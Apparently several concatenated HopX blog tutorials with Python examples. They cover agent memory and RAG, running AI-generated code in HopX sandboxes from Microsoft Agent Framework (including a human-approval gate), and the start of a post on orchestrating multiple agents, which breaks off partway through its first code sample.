"fact": fact,
"learned_at": datetime.now().isoformat(),
"source": source
})
self.update_user_profile(user_id, profile)
def add_preference(self, user_id: str, key: str, value: str):
"""Store a user preference"""
profile = self.get_user_profile(user_id)
profile["preferences"][key] = value
self.update_user_profile(user_id, profile)
# Usage
memory = StructuredMemory("./agent_memory")
# Learn about user
memory.add_fact("user_123", "Works at a fintech startup")
memory.add_preference("user_123", "communication_style", "concise")
memory.add_preference("user_123", "expertise_level", "senior developer")
# Later, personalize responses
profile = memory.get_user_profile("user_123")
# Use profile["preferences"]["communication_style"] to adjust response length
```
## RAG: Retrieval Augmented Generation
RAG gives agents access to knowledge beyond their training:
```
┌─────────────────────────────────────────────────────────────┐
│ RAG Pipeline │
├─────────────────────────────────────────────────────────────┤
│ │
│ User Query │
│ │ │
│ ▼ │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ Embed │───▶│ Search │───▶│ Retrieve │ │
│ │ Query │ │ Vector DB │ │ Documents │ │
│ └─────────────┘ └─────────────┘ └──────┬──────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ LLM Prompt │ │
│ │ │ │
│ │ Context: [Retrieved documents] │ │
│ │ Question: [User query] │ │
│ │ Answer based on the context above. │ │
│ │ │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Response │
│ │
└─────────────────────────────────────────────────────────────┘
```
### Basic RAG Implementation
```python
import openai
from dataclasses import dataclass
@dataclass
class Document:
content: str
metadata: dict
embedding: list[float] = None
class RAGAgent:
def __init__(self):
self.client = openai.OpenAI()
self.documents: list[Document] = []
def add_documents(self, docs: list[str], metadata: list[dict] = None):
"""Index documents for retrieval"""
for i, content in enumerate(docs):
embedding = self._get_embedding(content)
doc = Document(
content=content,
metadata=metadata[i] if metadata else {},
embedding=embedding
)
self.documents.append(doc)
def query(self, question: str, top_k: int = 3) -> str:
"""Answer question using retrieved context"""
# Step 1: Retrieve relevant documents
relevant_docs = self._retrieve(question, top_k)
# Step 2: Build context
context = "\n\n---\n\n".join([doc.content for doc in relevant_docs])
# Step 3: Generate answer
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": """Answer the question based on the provided context.
If the context doesn't contain relevant information, say so.
Cite sources when possible."""
}, {
"role": "user",
"content": f"""Context:
{context}
Question: {question}"""
}]
)
return response.choices[0].message.content
def _retrieve(self, query: str, top_k: int) -> list[Document]:
"""Find most relevant documents"""
query_embedding = self._get_embedding(query)
scored = []
for doc in self.documents:
similarity = self._cosine_similarity(query_embedding, doc.embedding)
scored.append((doc, similarity))
scored.sort(key=lambda x: x[1], reverse=True)
return [doc for doc, _ in scored[:top_k]]
def _get_embedding(self, text: str) -> list[float]:
response = self.client.embeddings.create(
model="text-embedding-3-small",
input=text
)
return response.data[0].embedding
def _cosine_similarity(self, a, b):
import numpy as np
a, b = np.array(a), np.array(b)
return np.dot(a, b) / (np.linalg.norm(a) * np.linalg.norm(b))
# Usage
agent = RAGAgent()
# Index company documentation
agent.add_documents([
"Our API rate limit is 100 requests per minute for free tier users.",
"Premium users get 1000 requests per minute and priority support.",
"To upgrade, visit settings > billing > upgrade plan.",
"API keys can be rotated in settings > security > API keys."
])
# Answer questions using documentation
answer = agent.query("How many API requests can I make?")
print(answer)
# "Based on your tier: Free users can make 100 requests/minute,
# Premium users can make 1000 requests/minute..."
```
### Advanced RAG with Chunking and Re-ranking
```python
from hopx import Sandbox
import openai
class AdvancedRAG:
def __init__(self):
self.client = openai.OpenAI()
self.chunks = []
def index_document(self, content: str, chunk_size: int = 500, overlap: int = 50):
"""Split document into overlapping chunks and index"""
chunks = self._chunk_text(content, chunk_size, overlap)
for i, chunk in enumerate(chunks):
embedding = self._get_embedding(chunk)
self.chunks.append({
"id": f"chunk_{len(self.chunks)}",
"content": chunk,
"embedding": embedding,
"position": i
})
def query(self, question: str, top_k: int = 5) -> str:
# Step 1: Initial retrieval
candidates = self._retrieve(question, top_k * 2)
# Step 2: Re-rank with LLM
reranked = self._rerank(question, candidates, top_k)
# Step 3: Generate with best context
context = "\n\n".join([c["content"] for c in reranked])
return self._generate_answer(question, context)
def _chunk_text(self, text: str, size: int, overlap: int) -> list[str]:
"""Split text into overlapping chunks"""
words = text.split()
chunks = []
for i in range(0, len(words), size - overlap):
chunk = " ".join(words[i:i + size])
if chunk:
chunks.append(chunk)
return chunks
def _retrieve(self, query: str, top_k: int) -> list[dict]:
"""Vector similarity search"""
query_embedding = self._get_embedding(query)
scored = []
for chunk in self.chunks:
sim = self._cosine_similarity(query_embedding, chunk["embedding"])
scored.append({**chunk, "score": sim})
scored.sort(key=lambda x: x["score"], reverse=True)
return scored[:top_k]
def _rerank(self, query: str, candidates: list[dict], top_k: int) -> list[dict]:
"""Use LLM to rerank candidates"""
# Format candidates for reranking
candidate_text = "\n".join([
f"[{i}] {c['content'][:200]}..."
for i, c in enumerate(candidates)
])
response = self.client.chat.completions.create(
model="gpt-4o-mini",
messages=[{
"role": "user",
"content": f"""Rank these passages by relevance to the question.
Return only the indices of the top {top_k} most relevant, in order.
Question: {query}
Passages:
{candidate_text}
Return format: 3, 1, 5, 2, 4"""
}]
)
# Parse ranking
try:
indices = [int(x.strip()) for x in response.choices[0].message.content.split(",")]
return [candidates[i] for i in indices[:top_k] if i < len(candidates)]
except:
return candidates[:top_k]
def _generate_answer(self, question: str, context: str) -> str:
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": "Answer based on the context. Be precise and cite relevant parts."
}, {
"role": "user",
"content": f"Context:\n{context}\n\nQuestion: {question}"
}]
)
return response.choices[0].message.content
```
## Combining Memory Types
A complete agent uses all three memory types:
```python
import openai
from datetime import datetime
class MemoryEnabledAgent:
def __init__(self, user_id: str):
self.client = openai.OpenAI()
self.user_id = user_id
# Short-term: Current conversation
self.conversation = SummarizingMemory()
# Long-term: User-specific memories
self.user_memory = VectorMemory()
# External: Knowledge base
self.knowledge_base = RAGAgent()
# Load user profile
self.profile = self._load_profile()
def chat(self, message: str) -> str:
# Add user message to short-term memory
self.conversation.add("user", message)
# Retrieve relevant long-term memories
relevant_memories = self.user_memory.search(message, top_k=3)
memory_context = "\n".join([m.content for m in relevant_memories])
# Retrieve relevant knowledge
knowledge_context = ""
if self._needs_knowledge(message):
knowledge_results = self.knowledge_base._retrieve(message, top_k=3)
knowledge_context = "\n".join([k["content"] for k in knowledge_results])
# Build system prompt with context
system_prompt = self._build_system_prompt(memory_context, knowledge_context)
# Generate response
messages = [{"role": "system", "content": system_prompt}]
messages.extend(self.conversation.get_messages())
response = self.client.chat.completions.create(
model="gpt-4o",
messages=messages
)
assistant_message = response.choices[0].message.content
# Add to short-term memory
self.conversation.add("assistant", assistant_message)
# Extract and store any new facts about user
self._extract_and_store_facts(message, assistant_message)
return assistant_message
def _build_system_prompt(self, memories: str, knowledge: str) -> str:
prompt = f"""You are a helpful AI assistant with memory.
User Profile:
- Name: {self.profile.get('name', 'Unknown')}
- Preferences: {self.profile.get('preferences', {})}
Relevant memories about this user:
{memories if memories else '(No relevant memories)'}
Relevant knowledge:
{knowledge if knowledge else '(No external knowledge needed)'}
Use this context to personalize your responses."""
return prompt
def _needs_knowledge(self, message: str) -> bool:
"""Determine if we need to search knowledge base"""
knowledge_triggers = ["how do", "what is", "explain", "help me", "documentation"]
return any(trigger in message.lower() for trigger in knowledge_triggers)
def _extract_and_store_facts(self, user_msg: str, assistant_msg: str):
"""Extract facts from conversation to store in long-term memory"""
extraction_prompt = f"""Extract any new facts about the user from this exchange.
Return JSON: {{"facts": ["fact1", "fact2"]}} or {{"facts": []}} if none.
User: {user_msg}
Assistant: {assistant_msg}"""
response = self.client.chat.completions.create(
model="gpt-4o-mini",
messages=[{"role": "user", "content": extraction_prompt}],
response_format={"type": "json_object"}
)
import json
result = json.loads(response.choices[0].message.content)
for fact in result.get("facts", []):
self.user_memory.add(
content=fact,
metadata={
"user_id": self.user_id,
"extracted_at": datetime.now().isoformat()
}
)
# Usage
agent = MemoryEnabledAgent(user_id="user_123")
# First conversation
agent.chat("Hi! I'm a Python developer working on machine learning projects.")
agent.chat("I prefer concise explanations.")
# Later session - agent remembers!
agent.chat("Can you help me with my code?")
# Agent responds knowing user is a Python ML developer who prefers concise answers
```
## Memory with Code Execution
For agents that execute code, persist state across executions:
```python
from hopx import Sandbox
import json
class StatefulCodeAgent:
def __init__(self, session_id: str):
self.session_id = session_id
self.sandbox = None
self.state_file = f"/app/state_{session_id}.json"
def start_session(self):
"""Create sandbox and restore state"""
self.sandbox = Sandbox.create(template="code-interpreter")
# Check for existing state
try:
state_content = self.sandbox.files.read(self.state_file)
self.state = json.loads(state_content)
print(f"Restored state with {len(self.state.get('variables', {}))} variables")
except:
self.state = {"variables": {}, "history": []}
def execute(self, code: str) -> str:
"""Execute code and persist state"""
# Inject state restoration
setup_code = f"""
import json
# Restore variables from previous session
_state = {json.dumps(self.state.get('variables', {}))}
globals().update(_state)
"""
# Wrap code to capture new variables
wrapped_code = f"""
{setup_code}
# User code
{code}
# Capture state
import json
_new_state = {{k: v for k, v in globals().items()
if not k.startswith('_') and k not in ['json', 'builtins']
and isinstance(v, (int, float, str, list, dict, bool))}}
with open('{self.state_file}', 'w') as f:
json.dump({{'variables': _new_state}}, f)
"""
self.sandbox.files.write("/app/code.py", wrapped_code)
result = self.sandbox.commands.run("python /app/code.py")
# Update local state
try:
state_content = self.sandbox.files.read(self.state_file)
self.state = json.loads(state_content)
except:
pass
return result.stdout if result.exit_code == 0 else f"Error: {result.stderr}"
def get_variables(self) -> dict:
"""Get current session variables"""
return self.state.get("variables", {})
def end_session(self):
"""Clean up but persist state for next session"""
if self.sandbox:
# State is already persisted in sandbox
self.sandbox.kill()
# Usage
agent = StatefulCodeAgent("session_abc123")
agent.start_session()
# First execution
agent.execute("x = 10\ny = 20\nprint(x + y)") # Output: 30
# Second execution - variables persist!
agent.execute("print(x * y)") # Output: 200
# Check what's stored
print(agent.get_variables()) # {'x': 10, 'y': 20}
agent.end_session()
```
## Best Practices
### 1. Separate Memory Concerns
```python
# ❌ Don't: Mixing all memory in one place
memory = {"conversation": [...], "user_facts": [...], "documents": [...]}
# ✅ Do: Separate by type and lifecycle
class AgentMemory:
def __init__(self):
self.short_term = ConversationBuffer() # Per-session
self.long_term = VectorMemory() # Persistent
self.knowledge = RAGAgent() # External
```
### 2. Implement Memory Decay
```python
def search_with_decay(self, query: str, decay_days: int = 30):
"""Recent memories are weighted higher"""
from datetime import datetime, timedelta
results = self.search(query)
now = datetime.now()
for result in results:
age_days = (now - result.timestamp).days
decay_factor = max(0.5, 1 - (age_days / decay_days))
result.score *= decay_factor
return sorted(results, key=lambda x: x.score, reverse=True)
```
### 3. Limit Memory Scope
```python
# Filter memories by relevance
def get_relevant_memories(self, query: str, context: str):
all_memories = self.search(query)
# Only include highly relevant memories
return [m for m in all_memories if m.score > 0.7]
```
### 4. Handle Memory Conflicts
```python
def add_with_conflict_resolution(self, fact: str):
# Check for conflicting memories
similar = self.search(fact, top_k=3)
for existing in similar:
if self._is_contradiction(fact, existing.content):
# New information replaces old
self.delete(existing.id)
self.add(fact)
```
## Conclusion
Memory transforms agents from forgetful assistants into intelligent systems that:
- **Maintain context** within and across sessions
- **Learn preferences** and personalize over time
- **Access knowledge** beyond training data
- **Build expertise** through accumulated experience
Start with simple conversation memory. Add long-term storage when you need persistence. Implement RAG when you have knowledge bases to query.
The agent that remembers outperforms the agent that forgets. Every time.
---
Ready to build agents with persistent memory and code execution? [Get started with HopX](https://console.hopx.ai) — sandboxes that maintain state across sessions.
## Further Reading
- [What Is an AI Agent?](/blog/ai-agents/what-is-an-ai-agent) — Agent fundamentals
- [The Planning Pattern](/blog/ai-agents/planning-pattern-ai-agents) — Use memory to track plan execution
- [Tool Use Pattern](/blog/ai-agents/tool-use-pattern-ai-agents) — Tools for memory operations
- [Building a Code Interpreter](/blog/ai-agents/build-code-interpreter-openai-hopx) — Stateful code execution
- [Pinecone Documentation](https://docs.pinecone.io/) — Production vector database
- [LangChain Memory](https://python.langchain.com/docs/modules/memory/) — Memory abstractions
---
## Microsoft Agent Framework with HopX: Secure Code Execution for AI Agents
URL: https://hopx.ai/blog/tutorials/microsoft-agent-framework-hopx/
Category: Tutorials
Published: 2025-11-27
# Microsoft Agent Framework with HopX: Secure Code Execution
Microsoft just unified the AI agent landscape. **Agent Framework** combines the best of AutoGen and Semantic Kernel into a single, enterprise-ready SDK. Both predecessors are now in maintenance mode—this is the future.
But Agent Framework inherits the same code execution challenge: where do you safely run AI-generated code? This guide shows how to integrate HopX sandboxes for secure, isolated execution.
## What Is Agent Framework?
Agent Framework is Microsoft's new unified SDK for building AI agents:
```
┌─────────────────────────────────────────────────────────────────┐
│ Agent Framework │
│ (Successor to AutoGen + Semantic Kernel) │
│ │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ From AutoGen: │ │
│ │ • Simple multi-agent conversations │ │
│ │ • Agent orchestration patterns │ │
│ │ • Group chat abstractions │ │
│ └─────────────────────────────────────────────────────────┘ │
│ + │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ From Semantic Kernel: │ │
│ │ • Enterprise-grade state management │ │
│ │ • Thread-based conversations │ │
│ │ • Type safety and observability │ │
│ │ • Azure AI Foundry integration │ │
│ └─────────────────────────────────────────────────────────┘ │
│ + │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ New in Agent Framework: │ │
│ │ • Workflow graphs for explicit execution paths │ │
│ │ • Human-in-the-loop patterns │ │
│ │ • A2A (Agent-to-Agent) connections │ │
│ │ • MCP (Model Context Protocol) support │ │
│ └─────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────┘
```
## Why Migrate Now?
| Feature | AutoGen | Semantic Kernel | Agent Framework |
|---------|---------|-----------------|-----------------|
| Status | Maintenance | Maintenance | **Active Development** |
| Multi-agent | ✅ | Limited | ✅ Enhanced |
| Enterprise features | Limited | ✅ | ✅ |
| Azure integration | Basic | ✅ | ✅✅ Native |
| Workflow graphs | ❌ | ❌ | ✅ New |
| Code execution | Docker/Local | Plugins | **Extensible** |
## Prerequisites
```bash
pip install agent-framework hopx-ai
```
Set environment variables:
```bash
export OPENAI_API_KEY="sk-..."
export HOPX_API_KEY="..."
# Or for Azure OpenAI:
export AZURE_OPENAI_API_KEY="..."
export AZURE_OPENAI_ENDPOINT="https://..."
```
## Step 1: Create a Code Execution Tool
Agent Framework uses a clean tool/function interface. Here's how to wrap HopX:
```python
from agent_framework import ChatAgent, Tool, tool
from hopx import Sandbox
from typing import Optional
class HopXExecutor:
"""Manage HopX sandbox for code execution."""
def __init__(self, persist: bool = True, ttl: int = 600):
self.persist = persist
self.ttl = ttl
self._sandbox: Optional[Sandbox] = None
@property
def sandbox(self) -> Sandbox:
"""Get or create sandbox."""
if self._sandbox is None:
self._sandbox = Sandbox.create(
template="code-interpreter",
ttl=self.ttl if self.persist else 60
)
return self._sandbox
def execute(self, code: str, language: str = "python") -> str:
"""Execute code in sandbox."""
try:
result = self.sandbox.runCode(code, language=language, timeout=60)
if result.exitCode == 0:
return result.stdout or "Code executed successfully (no output)"
else:
return f"Error (exit {result.exitCode}):\n{result.stderr}"
except Exception as e:
self._sandbox = None # Reset on error
return f"Execution failed: {str(e)}"
def cleanup(self):
"""Destroy sandbox."""
if self._sandbox:
self._sandbox.kill()
self._sandbox = None
# Create global executor
executor = HopXExecutor(persist=True)
@tool
def execute_python(code: str) -> str:
"""
Execute Python code in a secure, isolated sandbox.
Use this tool when you need to:
- Perform calculations or mathematical operations
- Analyze data with pandas, numpy
- Create visualizations with matplotlib
- Process files or data structures
- Run any Python computation
The sandbox has pandas, numpy, matplotlib, seaborn, scikit-learn installed.
Always use print() to show results.
State persists between calls within the same session.
Args:
code: Complete, executable Python code
Returns:
Output from code execution or error message
"""
return executor.execute(code, "python")
@tool
def execute_bash(command: str) -> str:
"""
Execute bash commands in a secure sandbox.
Use for:
- File operations (ls, cat, head)
- Package installation (pip install)
- System commands
Args:
command: Bash command to execute
Returns:
Command output or error
"""
return executor.execute(command, "bash")
```
## Step 2: Create a ChatAgent with Tools
Build an agent that can execute code:
```python
from agent_framework import ChatAgent, ChatClient
from agent_framework.models import OpenAIChatClient
import os
# Create chat client
client = OpenAIChatClient(
model="gpt-4o",
api_key=os.environ["OPENAI_API_KEY"]
)
# Or for Azure OpenAI:
# from agent_framework.models import AzureOpenAIChatClient
# client = AzureOpenAIChatClient(
# deployment_name="gpt-4o",
# endpoint=os.environ["AZURE_OPENAI_ENDPOINT"],
# api_key=os.environ["AZURE_OPENAI_API_KEY"]
# )
# Create agent with tools
agent = ChatAgent(
name="CodeAssistant",
client=client,
tools=[execute_python, execute_bash],
system_message="""You are a helpful AI assistant that can execute Python code.
When users ask questions that require computation:
1. Write clear, well-documented Python code
2. Use the execute_python tool to run it
3. Analyze the results and explain them
Available libraries: pandas, numpy, matplotlib, seaborn, scipy, scikit-learn.
For visualizations, save to /app/chart.png using plt.savefig().
Always print() results you want to see.
"""
)
# Get a new conversation thread
thread = agent.get_new_thread()
# Chat with the agent
response = await agent.chat(
thread=thread,
message="Calculate the first 50 prime numbers and find their sum"
)
print(response.content)
# Continue the conversation (state persists)
response = await agent.chat(
thread=thread,
message="Now find the average and standard deviation of those primes"
)
print(response.content)
# Cleanup
executor.cleanup()
```
## Step 3: Multi-Agent Workflows
Agent Framework introduces workflow graphs for complex multi-agent scenarios:
```python
from agent_framework import ChatAgent, Workflow, Node, Edge
from agent_framework.models import OpenAIChatClient
# Create specialized agents
researcher = ChatAgent(
name="Researcher",
client=client,
system_message="You research topics and identify key questions to answer."
)
analyst = ChatAgent(
name="Analyst",
client=client,
tools=[execute_python],
system_message="You analyze data using Python. Always verify with code."
)
writer = ChatAgent(
name="Writer",
client=client,
system_message="You create clear, well-structured reports from analysis results."
)
# Define workflow graph
workflow = Workflow(
name="ResearchPipeline",
nodes=[
Node(id="research", agent=researcher),
Node(id="analyze", agent=analyst),
Node(id="report", agent=writer)
],
edges=[
Edge(source="research", target="analyze"),
Edge(source="analyze", target="report")
]
)
# Execute workflow
result = await workflow.run(
input="Analyze the relationship between company size and revenue growth"
)
print(result.output)
```
## Step 4: Persistent State Across Agents
For workflows where agents need to share data:
```python
from agent_framework import ChatAgent, tool
from hopx import Sandbox
from typing import Optional
import json
class SharedSandboxManager:
"""Singleton sandbox shared across all agents."""
_instance: Optional['SharedSandboxManager'] = None
_sandbox: Optional[Sandbox] = None
@classmethod
def get_instance(cls) -> 'SharedSandboxManager':
if cls._instance is None:
cls._instance = cls()
return cls._instance
def get_sandbox(self) -> Sandbox:
if self._sandbox is None:
self._sandbox = Sandbox.create(
template="code-interpreter",
ttl=900 # 15 minutes for long workflows
)
# Initialize common imports
self._sandbox.runCode("""
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns
import json
from datetime import datetime
print("Shared environment ready!")
""", language="python", timeout=30)
return self._sandbox
def execute(self, code: str) -> str:
sandbox = self.get_sandbox()
result = sandbox.runCode(code, language="python", timeout=60)
return result.stdout if result.exitCode == 0 else f"Error: {result.stderr}"
def cleanup(self):
if self._sandbox:
self._sandbox.kill()
self._sandbox = None
@tool
def shared_python(code: str) -> str:
"""
Execute Python with SHARED STATE across all agents.
Variables, DataFrames, and computations persist between calls
from ANY agent in the workflow. Use for collaborative analysis.
Args:
code: Python code to execute
Returns:
Execution output
"""
return SharedSandboxManager.get_instance().execute(code)
# Create agents that share state
data_engineer = ChatAgent(
name="DataEngineer",
client=client,
tools=[shared_python],
system_message="You prepare and clean data. Save results to variables for other agents."
)
data_scientist = ChatAgent(
name="DataScientist",
client=client,
tools=[shared_python],
system_message="You analyze prepared data. Build on variables created by DataEngineer."
)
# In a workflow, both agents access the same sandbox
# DataEngineer: df = pd.read_csv(...)
# DataScientist: df['new_col'] = ... # Same df!
```
## Step 5: Human-in-the-Loop Patterns
Agent Framework has first-class support for human approval:
```python
from agent_framework import ChatAgent, HumanApprovalHandler
from agent_framework.handlers import ConsoleApprovalHandler
# Custom approval handler for code execution
class CodeApprovalHandler(HumanApprovalHandler):
"""Require human approval before executing code."""
async def request_approval(self, action: str, details: dict) -> bool:
if action == "tool_call" and details.get("tool") == "execute_python":
code = details.get("arguments", {}).get("code", "")
print("\n" + "="*60)
print("🔍 Code Execution Request")
print("="*60)
print(code)
print("="*60)
response = input("Approve execution? [y/N]: ").strip().lower()
return response == "y"
return True # Auto-approve other actions
# Create agent with approval handler
secure_agent = ChatAgent(
name="SecureAssistant",
client=client,
tools=[execute_python],
approval_handler=CodeApprovalHandler()
)
# Now code execution requires human approval
response = await secure_agent.chat(
thread=thread,
message="Delete all files in /app" # This will prompt for approval!
)
```
## Step 6: Migration from AutoGen
If you're migrating from AutoGen, here's a comparison:
### AutoGen (Old)
```python
# AutoGen way
from autogen import AssistantAgent, UserProxyAgent
assistant = AssistantAgent(
name="assistant",
llm_config={"config_list": [{"model": "gpt-4o"}]}
)
user_proxy = UserProxyAgent(
name="user_proxy",
code_execution_config={"executor": docker_executor}
)
user_proxy.initiate_chat(assistant, message="Hello")
```
### Agent Framework (New)
```python
# Agent Framework way
from agent_framework import ChatAgent
from agent_framework.models import OpenAIChatClient
agent = ChatAgent(
name="assistant",
client=OpenAIChatClient(model="gpt-4o"),
tools=[execute_python] # HopX-backed tool
)
thread = agent.get_new_thread()
response = await agent.chat(thread=thread, message="Hello")
```
### Key Differences
| AutoGen | Agent Framework |
|---------|-----------------|
| `AssistantAgent` + `UserProxyAgent` | Single `ChatAgent` |
| `llm_config` dict | `ChatClient` object |
| `initiate_chat()` | `agent.chat()` async |
| Docker executor | Custom tools (HopX) |
| Implicit state | Explicit threads |
## Complete Working Example
Production-ready Agent Framework with HopX:
```python
"""
Microsoft Agent Framework with HopX Code Execution
"""
import asyncio
import os
from typing import Optional
from agent_framework import ChatAgent, tool, Workflow, Node, Edge
from agent_framework.models import OpenAIChatClient
from hopx import Sandbox
# Verify environment
assert os.environ.get("OPENAI_API_KEY"), "Set OPENAI_API_KEY"
assert os.environ.get("HOPX_API_KEY"), "Set HOPX_API_KEY"
class SandboxManager:
"""Manage shared HopX sandbox."""
_sandbox: Optional[Sandbox] = None
@classmethod
def execute(cls, code: str, language: str = "python") -> str:
if cls._sandbox is None:
cls._sandbox = Sandbox.create(template="code-interpreter", ttl=600)
result = cls._sandbox.runCode(code, language=language, timeout=60)
return result.stdout if result.exitCode == 0 else f"Error: {result.stderr}"
@classmethod
def cleanup(cls):
if cls._sandbox:
cls._sandbox.kill()
cls._sandbox = None
@tool
def python(code: str) -> str:
"""Execute Python code. State persists between calls."""
return SandboxManager.execute(code, "python")
@tool
def bash(command: str) -> str:
"""Execute bash commands."""
return SandboxManager.execute(command, "bash")
async def main():
# Create client
client = OpenAIChatClient(
model="gpt-4o",
api_key=os.environ["OPENAI_API_KEY"]
)
# Create agent
agent = ChatAgent(
name="DataAnalyst",
client=client,
tools=[python, bash],
system_message="""You are a data analyst. Use Python for all calculations.
Always verify results with code. Available: pandas, numpy, matplotlib."""
)
# Start conversation
thread = agent.get_new_thread()
try:
# Multi-turn conversation with persistent state
print("Query 1: Creating data...")
r1 = await agent.chat(
thread=thread,
message="Create a DataFrame with 500 rows of sales data: date, product, region, amount"
)
print(r1.content)
print("\nQuery 2: Analyzing...")
r2 = await agent.chat(
thread=thread,
message="Calculate total sales by region and find the top performer"
)
print(r2.content)
print("\nQuery 3: Visualization...")
r3 = await agent.chat(
thread=thread,
message="Create a bar chart of sales by region"
)
print(r3.content)
finally:
SandboxManager.cleanup()
print("\n✅ Sandbox cleaned up")
if __name__ == "__main__":
asyncio.run(main())
```
## Workflow Example: Research Pipeline
```python
async def run_research_pipeline():
"""Run a multi-agent research workflow."""
client = OpenAIChatClient(model="gpt-4o")
# Specialized agents
researcher = ChatAgent(
name="Researcher",
client=client,
system_message="Identify key research questions and data requirements."
)
analyst = ChatAgent(
name="Analyst",
client=client,
tools=[python],
system_message="Perform data analysis. Always use code for accuracy."
)
writer = ChatAgent(
name="Writer",
client=client,
tools=[python],
system_message="Create clear reports. Verify numbers with code."
)
# Define workflow
workflow = Workflow(
name="MarketResearch",
nodes=[
Node(id="research", agent=researcher),
Node(id="analyze", agent=analyst),
Node(id="report", agent=writer)
],
edges=[
Edge(source="research", target="analyze"),
Edge(source="analyze", target="report")
]
)
try:
result = await workflow.run(
input="""
Research Question: What factors correlate with high customer lifetime value?
Create synthetic customer data and analyze:
- Demographics (age, income, location)
- Behavior (purchase frequency, avg order value)
- Engagement (email opens, support tickets)
Identify the top 3 predictive factors.
"""
)
print("="*60)
print("RESEARCH REPORT")
print("="*60)
print(result.output)
finally:
SandboxManager.cleanup()
asyncio.run(run_research_pipeline())
```
## Best Practices
### 1. Use Async/Await
```python
# Agent Framework is async-first
response = await agent.chat(thread=thread, message=query)
```
### 2. Manage Thread Lifecycle
```python
# Create thread for conversation
thread = agent.get_new_thread()
# Use same thread for multi-turn
r1 = await agent.chat(thread=thread, message="Step 1")
r2 = await agent.chat(thread=thread, message="Step 2") # Continues context
```
### 3. Cleanup Resources
```python
try:
result = await workflow.run(input=task)
finally:
SandboxManager.cleanup()
```
### 4. Handle Errors Gracefully
```python
@tool
def safe_python(code: str) -> str:
"""Execute Python with error handling."""
try:
return SandboxManager.execute(code)
except Exception as e:
SandboxManager._sandbox = None # Reset on failure
return f"Execution failed: {e}. Please try again."
```
## Conclusion
Microsoft Agent Framework represents the future of AI agent development at Microsoft. By integrating with HopX, you get:
- **Unified SDK**: One framework instead of AutoGen + Semantic Kernel
- **Secure execution**: Isolated microVMs for code execution
- **Enterprise-ready**: Azure integration, observability, state management
- **Future-proof**: Active development vs maintenance mode
Start migrating your AutoGen and Semantic Kernel projects now. The future is Agent Framework + HopX.
---
Ready to build with Agent Framework? [Get started with HopX](https://console.hopx.ai) for secure code execution.
## Further Reading
- [Agent Framework Documentation](https://learn.microsoft.com/en-us/agent-framework/) — Official docs
- [Migration from AutoGen](https://learn.microsoft.com/en-us/semantic-kernel/support/migration/agent-framework-rc-migration-guide) — Migration guide
- [Migration from Semantic Kernel](https://learn.microsoft.com/en-us/agent-framework/migration-guide/from-semantic-kernel/) — Migration guide
- [AutoGen with HopX](/blog/tutorials/autogen-hopx-isolated-execution) — Legacy AutoGen integration
- [Multi-Agent Architectures](/blog/deep-dives/multi-agent-architectures-with-hopx) — Deep dive into patterns
---
## The Orchestrator Pattern: Coordinating Complex AI Agent Workflows
URL: https://hopx.ai/blog/ai-agents/orchestrator-pattern-ai-agents/
Category: AI Agents
Published: 2025-11-27
# The Orchestrator Pattern: Coordinating Complex AI Agent Workflows
Single agents hit walls. They run out of context, lack specialized skills, and struggle with complex multi-step tasks. The solution? Don't build one super-agent—build an **orchestrator** that coordinates many specialized agents.
The Orchestrator Pattern is how you build AI systems that tackle enterprise-grade complexity: routing tasks to the right specialists, managing dependencies, handling failures, and synthesizing results.
This guide shows you how to build orchestrators that turn chaos into coordination.
## What Is the Orchestrator Pattern?
An orchestrator is a meta-agent that doesn't do the work itself—it decides *who* should do the work and *when*:
```
┌─────────────────────────────────────────────────────────────┐
│ ORCHESTRATOR │
│ │
│ "Analyze sales data, create visualizations, │
│ and write an executive summary" │
│ │
│ │ │
│ ▼ │
│ ┌─────────────────────┐ │
│ │ Task Decomposer │ │
│ └──────────┬──────────┘ │
│ │ │
│ ┌───────────────┼───────────────┐ │
│ ▼ ▼ ▼ │
│ ┌───────────┐ ┌───────────┐ ┌───────────┐ │
│ │ Data │ │ Viz │ │ Writer │ │
│ │ Analyst │ │ Agent │ │ Agent │ │
│ └─────┬─────┘ └─────┬─────┘ └─────┬─────┘ │
│ │ │ │ │
│ └───────────────┼───────────────┘ │
│ ▼ │
│ ┌─────────────────────┐ │
│ │ Result Synthesizer │ │
│ └─────────────────────┘ │
│ │ │
│ ▼ │
│ Final Output │
│ │
└─────────────────────────────────────────────────────────────┘
```
The orchestrator handles:
- **Task decomposition**: Breaking complex tasks into subtasks
- **Agent selection**: Routing each subtask to the right specialist
- **Dependency management**: Ensuring correct execution order
- **Result synthesis**: Combining outputs into a coherent whole
- **Error handling**: Retrying, rerouting, or escalating failures
## Why Orchestration Matters
### 1. Specialization Beats Generalization
One agent trying to do everything:
```
❌ Jack of all trades, master of none
❌ Context window filled with irrelevant instructions
❌ Conflicting objectives in one prompt
```
Specialized agents with orchestration:
```
✅ Each agent masters its domain
✅ Focused context for each task
✅ Clear, single-purpose prompts
```
### 2. Scalability
```
Single Agent Orchestrated System
│ │
▼ ▼
┌─────────┐ ┌─────────────┐
│ One LLM │ │Orchestrator │
│ Call │ └──────┬──────┘
└─────────┘ │
┌─────────┼─────────┐
▼ ▼ ▼
┌───────┐ ┌───────┐ ┌───────┐
│Agent 1│ │Agent 2│ │Agent 3│
└───────┘ └───────┘ └───────┘
│ │ │
└─────────┼─────────┘
▼
Run in parallel = 3x faster
```
### 3. Fault Isolation
When one agent fails:
- **Without orchestration**: Entire task fails
- **With orchestration**: Retry, use backup agent, or gracefully degrade
## Basic Orchestrator Implementation
Here's a complete, minimal orchestrator:
```python
import openai
import json
from dataclasses import dataclass
from enum import Enum
from typing import Callable
import concurrent.futures
class TaskStatus(Enum):
PENDING = "pending"
RUNNING = "running"
COMPLETED = "completed"
FAILED = "failed"
@dataclass
class Task:
id: str
description: str
agent_type: str
dependencies: list[str]
status: TaskStatus = TaskStatus.PENDING
result: str = None
error: str = None
@dataclass
class Agent:
name: str
description: str
execute: Callable[[str, dict], str]
class Orchestrator:
def __init__(self, agents: dict[str, Agent]):
self.client = openai.OpenAI()
self.agents = agents
